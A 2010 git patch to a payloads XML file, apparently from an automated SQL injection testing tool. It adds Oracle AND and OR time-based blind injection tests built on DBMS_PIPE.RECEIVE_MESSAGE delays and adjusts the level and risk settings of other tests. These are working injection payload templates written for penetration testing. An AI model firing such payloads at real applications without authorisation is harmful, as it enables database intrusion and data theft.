From 1031723c89f8c4c8bb9a50971ba896877a9affaf Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Mon, 6 Dec 2010 23:05:53 +0000
Subject: [PATCH] added one more time based blind for Oracle

---
 xml/payloads.xml | 40 ++++++++++++++++++++++++++++++++++++++--
 1 file changed, 38 insertions(+), 2 deletions(-)

diff --git a/xml/payloads.xml b/xml/payloads.xml
index 9918d30ef..3d39e3f03 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1420,10 +1420,28 @@ Formats:
         </details>
     </test>
 
+    <test>
+        <title>Oracle AND time-based blind</title>
+        <stype>5</stype>
+        <level>1</level>
+        <risk>2</risk>
+        <clause>1,2,3</clause>
+        <where>1</where>
+        <request>
+            <payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Oracle</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Oracle AND time-based blind (heavy query)</title>
         <stype>5</stype>
-        <level>2</level>
+        <level>3</level>
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>1</where>
@@ -1560,12 +1578,30 @@ Formats:
             <dbms>MySQL</dbms>
         </details>
     </test>
+    
+    <test>
+        <title>Oracle OR time-based blind</title>
+        <stype>5</stype>
+        <level>3</level>
+        <risk>3</risk>
+        <clause>1,2,3</clause>
+        <where>2</where>
+        <request>
+            <payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Oracle</dbms>
+        </details>
+    </test>
 
     <test>
         <title>Oracle OR time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>3</level>
-        <risk>3</risk>
+        <risk>4</risk>
         <clause>1,2,3</clause>
         <where>2</where>
         <request>